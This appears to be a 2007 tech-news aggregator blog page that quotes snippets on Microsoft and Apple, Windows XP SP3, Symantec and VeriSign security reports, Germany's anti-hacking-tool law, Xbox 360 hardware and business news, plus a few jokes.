Apple is perceived to be a progressive company. But it has a spotty record for green computing—even though one of its board members just won a Nobel prize for environmental work. Its record of giving is OK, but not exceptional. Apple has few programs (actually none that I know of) for helping people in emerging markets. Oh, but it's cool, though, and has style.

By contrast, Microsoft's focus for years has been the conversion to digital documents, which is hugely environmentally friendly. The company's chairman is trustee for a charitable organization with billions of dollars to give away. Microsoft's Unlimited Potential program seeks to use technology to empower people in emerging markets.

There's perception, and there's reality.

No question, Microsoft makes lots of boneheaded decisions, for which it is rightly vilified. But the company also deserves more praise than it gets. Meanwhile, strong brand perceptions—and their feel good association—lets Apple off even when it screws up.

Today will be no exception. The blogosphere will praise Leopard as the next best thing ever and use it as more proof why Vista sucks (It doesn't). Meanwhile, there will be little good said about Microsoft's colossal 2008 fiscal first quarter results. Those people acknowledging the earnings results will blame Microsoft for trying to kill Linux and babies in Africa as reasons for its success. The perception: When Microsoft competes, it cheats.

There is a double standard.
[/QUOTE]

Source: http://www.microsoft-watch.com

The Right Brain vs Left Brain test ... do you see the dancer turning clockwise or anti-clockwise?

If clockwise, then you use more of the right side of the brain and vice versa.
Most of us would see the dancer turning anti-clockwise though you can try to focus and change the direction; see if you can do it.

LEFT BRAIN FUNCTIONS uses logic detail oriented facts rule words and language present and past math and science can comprehend knowing acknowledges order/pattern perception knows object name reality based forms strategies practical safe

RIGHT BRAIN FUNCTIONS uses feeling "big picture" oriented imagination rules symbols and images present and future philosophy & religion can "get it" (i.e. meaning) believes appreciates spatial perception knows object function fantasy based presents possibilities impetuous risk taking

If you've gone through Halo 3, you may have stumbled upon a comical exchange during level 3 ("Crow's Nest") featuring some familiar voices. Well, familiar if you're a Red Vs. Blue fan. Roosterteeth, the team behind the wildly popular machinima series, bid $9000 at last year's Child's Play event to get their voices included in Halo 3 (naturally, Bungie later told them they could've pitched in even if they hadn't won the auction).

GameDaily caught up with some of the crew last week to get their feedback on the experience and their thoughts on Halo 3 in general. Jason Saldana (voice of Tucker) said, "What's pretty cool about it is that six of us provided audio for it, so you end up hearing different voices depending on what difficulty level you play." Take a peek at all four of the different easter eggs involving RvB characters after the break.

Also, RvB fans may want to check out last week's Xbox 360 Fancast featuring Red Vs. Blue's Geoff Ramsey for some more Halo 3 chatter.

[QUOTE]
The principal reason given for the tremendous under-the-hood changes to Windows unveiled early this year in Vista was the need to overhaul the security model. Indeed, Vista has proven to be a generally more secure operating system, though some vulnerabilities that apply to ordinary software impact Vista users just as much as any other.

But now, software analysts testing the latest build 3205 of the beta for Windows XP Service Pack 3 are discovering a wealth of genuinely new features - not just patches and security updates (although there are literally over a thousand of those), but services that could substantially improve system security without overhauling the kernel like in Vista.

According to preliminary reports from Neosmart, testers there found evidence that the company is hardening XP's network security with added features.

One of these features had actually been on Microsoft's list for some time, and might actually have caused problems for customers had it been omitted: Network Access Protection (NAP), which is due to be managed by the forthcoming Windows Server 2008. This new service disallows network clients from accessing a WS2K8 server without passing a minimum "health screening," which checks for the presence of updates and service packs (including SP3) and disallows access to failing clients until they upgrade.

When NAP's inclusion in WS2K8 was first confirmed in late August, a Microsoft spokesperson contacted BetaNews to make sure we reported it wasn't just for Windows Server and just for Vista. We assumed that meant it would find its way to XP as well, though the spokesperson declined to be pressed further at that time.

A one-two punch involving a rollout of WS2K8 and XP SP3 in the first half of next year -- which is Microsoft's current plan -- could pave the way for a hardening of endpoint security on Windows networks, at least somewhat. Contributing to that hardening will be the inclusion of new cryptographic algorithms in the kernel, by means of Kernel Mode Cryptographic Module (KMCM). Coupled with access policies provided by NAP, admins could theoretically implement a new, second layer of policies for encrypted communications and authentication between network peers, provided by Triple-DES algorithms accessible through the kernel.

In other words, enterprises that previously have had trouble embracing the idea of deploying across-the-board encryption may feel more comfortable trying it out, now that KMCM is a baseline feature. It premiered in Windows 2000, and its first implementation in a Windows client was for the first edition of Vista.

Neosmart also discovered evidence of hardening of Windows' IP stack, including the inclusion of Microsoft's new "black hole router" detection scheme. Way back in 1990, the IETF implemented a way for routers to detect in advance the shortest path to send a large number of datagrams, without having to fragment them too seriously along the way. The plan was referred to as Path Maximum Transmission Unit (PMTU), with the objective being for sending routers to seek receiving routers that mangle fewer datagrams.

As it turned out, some receiving routers that were pegged by sending ones as PMTU members were responding to datagrams with "do not fragment" messages by simply throwing them out. These were referred to as "black hole routers," and have been a perennial plague to streaming operations. The new router detection scheme enables IP routers along the way to flag misbehaving PMTU candidates in advance and steer around them.

This is a feature that Microsoft has updated just last month, and which it might not have had to include with XP SP3 to please customers. So its inclusion is being treated as an indication there are developers at Microsoft who are still willing to treat XP seriously, perhaps extending its viable lifetime well into 2009.
[/QUOTE]

Source: http://www.betanews.com

By Andy Patrizio
September 17, 2007

Symantec today released its 12th bi-annual Internet Security Threat Report covering malicious activity over the first six months of the year, which confirms some trends that have been emerging and notes some new ones, as well.

The report covers activity from Jan. 1 to June 30 of this year, covering data gathered by Symantec's Global Intelligence Network. This consists of more than 40,000 sensors monitoring network activity in over 180 countries and sample code gathered by more than 120 million client, server, and gateway systems that have deployed Symantec’s antivirus products.

Also, Symantec runs what it calls the Probe Network, a system of over 2 million decoy accounts to attract e-mail messages from 20 different countries around the world, which allows Symantec to measure global spam and phishing activity.

What it found isn't pretty. Malicious activity is less computer vandalism and much more in the realm of criminality. Gone are the days when some punk's virus stomped on your FAT table and wrecked the hard drive. Symantec, along with many other antivirus vendors, thinks viruses as we know them are in decline, replaced with crimeware.

"Viruses are dropping in favor of theft," Zulfikar Ramzan, senior principal researcher in Advanced Threat Research at Symantec, told InternetNews.com. "Of the top 20 samples we received, 65 percent could threaten confidential info, and 88 percent of those were keystroke loggers. Goes to show hackers are much more after the financial benefits of their activities as opposed to the notoriety of it."

Making things worse is the commercialization of malware thanks to development kits that allow anyone to make a Trojan or worm. The most notorious is MPACK, written by a Russian crimeware gang, that Ramzan said goes for around $1,000. MPACK comes with sample code, making it easy to jumpstart the task.

"[Malware is] getting worse because developers aren't starting from scratch; they're taking existing work and making it worse," he said. In addition, Symantec found that 42 percent of phishing attacks were from 3 specific kits, none of which have a name.

In general, Ramzan said phishing operations can be completely outsourced and require no technical skills. All one needs is a kit to develop a phishing attack relatively easily, rent time on spam and phishing servers, buy a list of e-mail addresses from the underground economy, and go trolling.

Once you have a bunch of credit cards, bank accounts or identities, you can then turn around and sell them on underground servers. Ramzan found credit cards selling for 50 cents to $5, depending on the limit, bank accounts selling for $30 to $400 and identities selling for $6 to $100.

A lot of the crooks involved in this business actually treat it like a job. "We notice more activity on weekdays then weekends. There's a supply chain from the underground, commoditization of the tools, support contracts for the toolkits. There's an incredible amount of professionalization that's gone into this world," he said.

Overwhelmingly, the targets of attacks are home users. Symantec estimates 95 of all attacks in the last six months have been aimed at the home user, an increase from the 87 percent last year.

And those attacks are not aimed at vulnerabilities. Even though Symantec found all of the operating system vendors have improved their response times to when a vulnerability pops up, with the exception of HP, that's not where the criminals are going. Symantec found that exploits of vulnerabilities only made up 18 percent of attacks. The rest were simply looking for a sucker to click on the wrong link or run a file they shouldn't.

One of the new areas of exploitation is browser plug-ins. Symantec saw an explosion from 74 to 237 over the course of one period between reports. Ramzan said the plug-ins are becoming targets because the browsers are being hardened. The only browser under attack is Apple's Safari, which went from four in the last report period to 25 in this most recent one, a testament to Apple's growing popularity.

Rootkits, those devils that seemed to scare the daylights out of everyone, seem to have fallen off the radar. The one exception was the Storm Trojan because it used a rootkit to hide itself. Trojans remain the most common form of attack, which require a gullible end user, not an exploit

[QUOTE]
Denial-of-service attacks are growing faster than bandwidth is being added to the internet, according to VeriSign, the company that administers the .com domain.

Criminal groups selling services online are increasingly threatening the fabric of the internet, as the size of the compromised networks of computers they control increases, according to VeriSign.

The company claimed that a successful denial-of-service (DoS) attack against VeriSign could bring down the internet. "There are attacks attempting to shut down our servers," said Ken Silva, VeriSign's chief security officer. "This would effectively shut down the internet."

Silva said that although DoS attacks are difficult to trace, there are "a couple of well-known groups in Russia, China and Romania" that may be acting with their government's knowledge. "It would be hard to imagine groups who have this much activity going unnoticed by their governments," he said.

The chief security officer said that VeriSign "hoped to get smarter" in blocking malicious traffic. "We can continue to add bandwidth, but ultimately 20 years down the road, this can't continue as a footrace. The internet as a whole has to get smarter in denying DoS attacks."

VeriSign is currently upgrading its infrastructure in a scheme called Project Titan. This has included adding bandwidth, but it is also monitoring its systems more closely.

"Our monitoring systems now resemble those for the space shuttle," said Silva. "We monitor the capability of our CPUs and memory allocation on all of our servers. We're predicting what problems will occur rather than waiting for them to occur."

Many public-sector organisations in the UK suffer from DoS attacks. The Probation Service has upgraded its servers in the past week to cope with the traffic created by botnets, according to a security manager for the Probation Service.

"We've had to upgrade our hardware in the last week to cope with an unexpected increase in the volume of malicious traffic at the network gateway," the security manager told ZDNet.co.uk. "Simply coping with that is compromising our ability to run our business. The problem is simply coping with what is coming at us."

Tim Pickett, a former technical security analyst at AOL, said that ISPs should monitor their networks to mitigate DoS attacks. "ISPs should be monitoring what's going through their networks," said Pickett. "More should be done to tackle the problem on the ISP side."

[/QUOTE]

Source: http://news.zdnet.co.uk

Image spam is old news. The spammers use botnets to send uniquely modified images in each spam e-mail. The images have to be unique – otherwise spam filters could just simply drop known spam images.

So far, the images have typically been modified by adding colors, changing fonts, and inserting random dots and lines.
Results have typically looked like this (URLs smudged to prevent accidental business benefits for the spammers):

Over the last few days, we're seeing more image spam that is rendering the spam text with a pseudo 3D layout:

Generating images like this is of course more computing intensive… but hey, spammers have lots of computing power at their disposal via the huge botnets they're running. It's not like they couldn't afford to render unique 3D spam for every recipient.

More on: http://www.f-secure.com/weblog/#00001267

[QUOTE]
Podcast: It's a fundamental IT question that David Linthicum asks. Is SOA working? "Most of the projects out there that are calling themselves service-oriented architecture are largely just a bunch of Web services that ultimately produce no value," he asserts. "You don't see too many SOAs that are actually service-oriented architectures unless you are able to take the project to a complete solution-oriented conclusion." There are some companies moving to a full-blown SOA, however, but it takes time. Tune into Real World SOA.

Gripe Line: Vista is not without dysfunctional aspects. "Nothing better epitomizes these problems -- and indeed the inherent shortcomings of the way Microsoft distributes and supports Windows -- than the experience of one reader with getting to Vista to work on his Averatec notebook computer," Ed Foster kicks off An aversion to supporting Windows. For starters, the Vista Express Upgrade took what felt like forever to arrive: three and a half months after Vista's retail release. Now, our reader's experience gets even more ludicrous. Averatec was rather adept at the tech-support two-step, and dodged the reader even after he contacted the California Attorney General. Twice. "You have to wonder if Averatec will even be capable of helping if it ever decides it should," Foster writes.

The news beat: The Linux Foundation takes the wraps off what it calls the Linux Weather Forecast, a Web site to keep interested parties updated on the status of Linux kernel projects. Microsoft releases a bundle of security patches, nine sets in all, that fix a total of 14 bugs in its software. And VMware, with its IPO, provides a bright spot on an otherwise dreary day on Wall Street.
[/QUOTE]

Found on: http://weblog.infoworld.com

Psychiatric Hotline:

• If you are obsessive-compulsive, please press 1 repeatedly.
• If you are co-dependent, please ask someone to press 2.
• If you have multiple personalities, please press 3, 4, 5, and 6.
• If you are paranoid-delusional, we know who you are and what you want. Just stay on the line so we can trace the call.
• If you are schizophrenic, listen carefully and a little voice will tell you which number to press.
• If you are manic-depressive, it doesn't matter which number you press. No one will answer.

Experts say the new law creates legal uncertainty about the use hacker tools to test the security of computer systems.

[QUOTE]
The law, which the German government approved in May and put into effect on Saturday, aims to crack down on the sharp rise in attacks on computers in the public and private sectors.

Although Germany already has approved numerous laws to curb attacks on IT systems, the most recent one aims to close any remaining loopholes. Punishable cybercrimes include DOS (denial-of-service) attacks and computer sabotage attacks on individuals, which would extend the existing law that limited sabotage to businesses and public authorities.

The new law defines hacking as penetrating a computer security system and gaining access to secure data, without necessarily stealing data. Offenders are defined as any individual or group that intentionally creates, spreads or purchases hacker tools designed for illegal purposes. They could face up to 10 years in prison for major offenses.

"Dual use is at the root of the problem with the new law," said Andy Müller-Maguhn, a spokesman for the German hacker club Chaos Computer Club. "You can develop tools, for instance, to test the security of a network system but you can use the very same tools to hack a system. Our concern is that if a person has to go to court for having a hacker tool on his system, he will have to prove his good intentions."

The legal uncertainty created by the new law will make the work of security experts in Germany more difficult, according to Müller-Maguhn.

"The law is counterproductive," said Marcus Rapp, product specialist at the German subsidiary of Finnish security vendor F-Secure. "It will make the security situation worse, not better."

Rapp is concerned about what he calls the law's "broad interpretation" of hacking and the legal uncertainty it creates.

"We use hacker tools to test the security of computer systems; that's an essential part of our business," he said. "Could our use of these tools get us in trouble someday? That's what we don't know."

Russian rival Kaspersky Lab shares a similar opinion.

Hacker tools are "constantly" used by vendors of security software to close security holes, wrote Andreas Lamm, managing director of Kaspersky Labs in an e-mail. It's also "unrealistic" to believe, he added, that the new law will eliminate the illegal use of these tools as clever criminal hackers will continue to find ways to operate under the police radar.

Several groups of computer experts that develop hacking tools to test the security of computers and network systems have already pulled the plug on their operations in Germany, either calling its quits for good or relocating to countries without antihacking legislation.

Rapp referred to the situation as "not encouraging."

KisMAC , a self-described "good" hacker group that offers a tool to detect security holes in wireless networks, stopped its work in Germany and plans to resume in neighboring Netherlands.

Phenoelit , another hacker group, has ended its operations in Germany and is also considering the Netherlands as a possible relocation site.
[/QUOTE]

Found on: www.infoworld.com

[QUOTE]
The Xbox 360's power was about 170 W when the DVD equipment was running. The temperature of emitted air was about 45C. A temperature gap with the room temperature (23°C) was 22°C.

"When designing consumer products, it is common to seek a temperature gap of around 10°C between exhaust and room temperatures," the thermal design expert said. "The 22°C is quite a large gap, in the first place."

The cooler fan's maximum wind speed was 1.1 m/s, only 1/2 to 1/3 compared with general desktop PCs. It may be partly because the fan rotation was reduced to lower noise. According to an expert's analysis, "The amount of switched air is slightly in short considering the chassis' size (309 x 258 x 83 mm3)."

Located at front end is the graphics LSI heat sink.
At the back is the microprocessor heat sink equipped with a heat pipe

To confirm the cooler system's performance, we measured the temperature of heat sinks. Attaching ends of a thermocouple to each heat sink for the microprocessor and graphics LSI, we closed the chassis and then switched on the Xbox 360.
In only five minutes since we started playing the game, the temperature of the heat sink on the graphics LSI rose to 70°C. The thermal gradient was about 10°C/min.

In 15 minutes, the microprocessor heat sink temperature stabilized at 58°C, but the heat sink on the graphics LSI rose to 80°C, 57°C above the room temperature.

Assuming room temperature of 35°C in mid-summer, the gap is estimated to reach more than 90°C. In that case, the temperature of chips in the graphics LSI could exceed 100°C.

We measured the temperature in good cooling environments, removing dust and obstacles from the vent hole, for example. If the cooling performance lowers with the vent hole choked up or the duct moved over, the LSI's temperature could get even higher.
[/QUOTE]

Full Story: techon.nikkeibp.co.jp

[QUOTE]
In the wake of the Wal-Mart flyer and the Toys R Us flyer, now comes the Circuit City flyer sent to Joystiq showing that beginning Aug. 12 the Xbox 360 premium will be $350, the Elite will be $450 and the Core will have a $20 break and be $280.

[/QUOTE]

Found on: joystiq.com

[QUOTE]
As Microsoft meets with financial analysts today, discussing its prospects in areas including consumer products, one subject clearly on the minds of analysts is the recent $1 billion charge taken by Microsoft from Xbox 360 malfunctions.

Microsoft CEO Steve Ballmer addressed the topic on stage: "We have to learn from our mistakes. It was painful to announce the write-off that we had to announce, and yet we knew we had to take care of our customers," he said. He promised that Microsoft will be "world-class when we do hardware."
[/QUOTE]

Full Story: seattlepi.nwsource.com

[QUOTE]
According to Gates, there are currently six trends, which will be determining Microsoft and its product strategy for the years to come. In a rather unusual way, he mentioned the dramatic changes in the way the hardware engines that will be fueling new applications are engineered.

The fact that performance advances have shifted from a pure increase of clock speed to increased parallelism was described by Gates as a "challenge". He believes that "parallel execution will be the primary way silicon power will be delivered" down the road and not so much the fact that there is more clock speed available. According to Gates, microprocessors will get to 10 GHz, "but not much further" (...) "even 5 to 6 years out."
[/QUOTE]

Full Story: tgdaily.com

[QUOTE]
Sony's Playstation 2 accounted for 42 percent of video game console usage during June far outstripping the Xbox, which had the second highest usage at 17 percent, according to Nielsen's latest GamePlay Metrics. The Xbox 360 had 8% usage.
Rounding up the list of consoles

[/QUOTE]
Full Story: kotaku.com

[QUOTE]
Don't you hate when your debugging code accidentally makes its way into production? Like that CurrentUser.IsAdministrator() that always returns "true" because you forgot to take that line of code out? Well, here's your opportunity to laugh at others that forgot to fix things before deployment.

Konstantin R. didn't know what he should expect after changing settings on his router:

Steve H. was enjoying IncompleteSoft's TODO 0.8 Beta, when he was greeted with the following crash:

It's all Greek to Rob T.!*

A little known fact about WorseThanFailure.com's editorial process is that we have a word count target, and we fill in the rest with greeking text. Sometimes we forget to come back and actually fill in the rest of the article sed felis id nulla pharetra ultrices. Donec vestibulum quam et nulla.

Leigh C. was more than happy to oblige:

"THE FORUM RULES ARE THAT LEIGH C. IS AWESOME AND COOL AND AWESOMER THAN EVERYONE ELSE ON THIS FORUM. I AGREE."

*I promise never to do that again.
[/QUOTE]

Found on: www.worsethanfailure.com

[QUOTE]
The PS3 isn't the only console with problems. Microsoft has an equal share of issues with the Xbox 360 that could prove just as harmful as Sony's. Here are six reasons why the Xbox 360 is in trouble, though not necessarily doomed.

1. It's unreliable.
2. It only sells marginally better than Xbox.
3. A recent string of bad publicity.
4. It has limited appeal.
5. It bleeds money.
6. It still doesn't sell in Japan.

Looking ahead to fall of 2007, the Xbox 360 has the biggest games lineup in recent memory, a lineup that includes BioShock, Mass Effect, Madden 08, Assassin's Creed, and more in addition to the hugely anticipated Halo 3. Master Chief's last adventure could easily be the best-selling game of the year and shift hundreds of thousands of 360s in the process. If there's one thing that sells consoles, it's great games, and Xbox 360 has them. Sadly, Microsoft's ongoing string of mishaps may keep them from truly ending the year (or the season for that matter) on a high note.
[/QUOTE]

Full Story: gamepro.com

[QUOTE]
Microsoft Corp. today announced that Don Mattrick, a former president at Electronic Arts Inc. (EA), will lead the Interactive Entertainment Business (IEB), which includes overseeing the Xbox® and Games for Windows® businesses. Peter Moore, who currently serves as corporate vice president of IEB, has decided to move his family back to the Bay Area for personal reasons and has secured another opportunity in the video games industry.

Mattrick will take over as the senior vice president of IEB at Microsoft, effective July 30. Mattrick was the founder of Distinctive Software Inc., which operated as a private company from 1982 until its merger with EA in 1991. Mattrick held various senior positions within EA, most recently as president of Worldwide Studios, until his resignation in February 2006. In February 2007, Mattrick began working with the Entertainment and Devices Division at Microsoft as an external advisor.
"Peter has contributed enormously to the games business since joining Microsoft in 2003 and we are sad to see him go," said Robbie Bach, president of Entertainment and Devices Division at Microsoft. "Since that time, he presided over the global launch of the Xbox 360™, spearheaded a revitalized and rebranded Games for Windows business, and helped steer the console's ascent."

Moore has decided to return with his family to Northern California, where they lived until he took the position at Microsoft. Moore will remain at Microsoft to assist in the transition through August and will then return to the San Francisco Bay area.
"While Peter will certainly be missed, we are delighted to have one of the industry's most talented and passionate veterans on board to lead the business," Bach said. "Don is well-known and respected throughout the industry for his deep knowledge, technical expertise and management savvy. Under Don's leadership, the games team is looking forward to embarking on our biggest holiday ever, with a wide-ranging roster of some of the most highly anticipated titles."

Mattrick brings 23 years of games industry and development experience to the strong Microsoft management team, having helped bring to life such celebrated game franchises as the "Need for Speed," "Harry Potter" and "The Sims" while at EA.

"Over the past two decades, and the past few months in particular, I've worked closely with many of Microsoft's top leaders and I've always been impressed by their talent, passion and commitment," said Mattrick. "I'm thrilled to join an already strong team that's delivering truly amazing gaming experiences to customers around the world. I've never been more excited about the future of the industry, and firmly believe Microsoft will lead the next great innovations in gaming."
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Peter Moore will join EA as President of their sports division.

Found on: www.xbox-scene.com